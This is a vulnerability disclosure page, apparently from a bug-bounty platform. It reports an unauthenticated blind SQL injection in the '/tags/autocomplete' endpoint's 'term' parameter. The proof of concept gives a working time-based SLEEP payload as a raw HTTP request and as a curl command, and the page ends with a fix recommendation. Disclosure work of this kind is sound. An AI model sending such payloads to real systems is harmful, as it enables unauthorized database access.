Lucene search

K
huntrLegpainsFE9809B6-40AD-4E81-9197-A9AA42E8A7BF
HistoryAug 02, 2023 - 4:31 a.m.

Unauthenticated Blind SQL Injection in '/tags/autocomplete'

2023-08-0204:31:42
legpains
www.huntr.dev
10
unauthenticated attacker
sql injection
sanitize parameter

0.001 Low

EPSS

Percentile

33.2%

Description

The application was found to be vulnerable to an unauthenticated blind SQL injection in the /tags/autocomplete page.
The GET parameter term does not sufficiently sanitize input.

Proof of Concept

  1. Make a GET request to http://icms.local/tags/autocomplete?term=')+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))x)+AND+(1=' and observe that the server responds to the time delay.
GET /tags/autocomplete?term=')+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))x)+AND+(1=' HTTP/1.1
Host: icms.local
X-Requested-With: XMLHttpRequest
  1. Replace hostname below where necessary
curl -i -s -k -X $'GET' \
    -H $'Host: icms.local' -H $'X-Requested-With: XMLHttpRequest' \
    $'http://icms.local/tags/autocomplete?term=\')+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))x)+AND+(1=\''
  1. As long as X-Requested-With: XMLHttpRequest is in the HTTP request headers, an unauthenticated attacker can make the request directly to inject into the affected parameter.

Remedial Action

It is recommended to sanitize the affected parameter term.

0.001 Low

EPSS

Percentile

33.2%

Related for FE9809B6-40AD-4E81-9197-A9AA42E8A7BF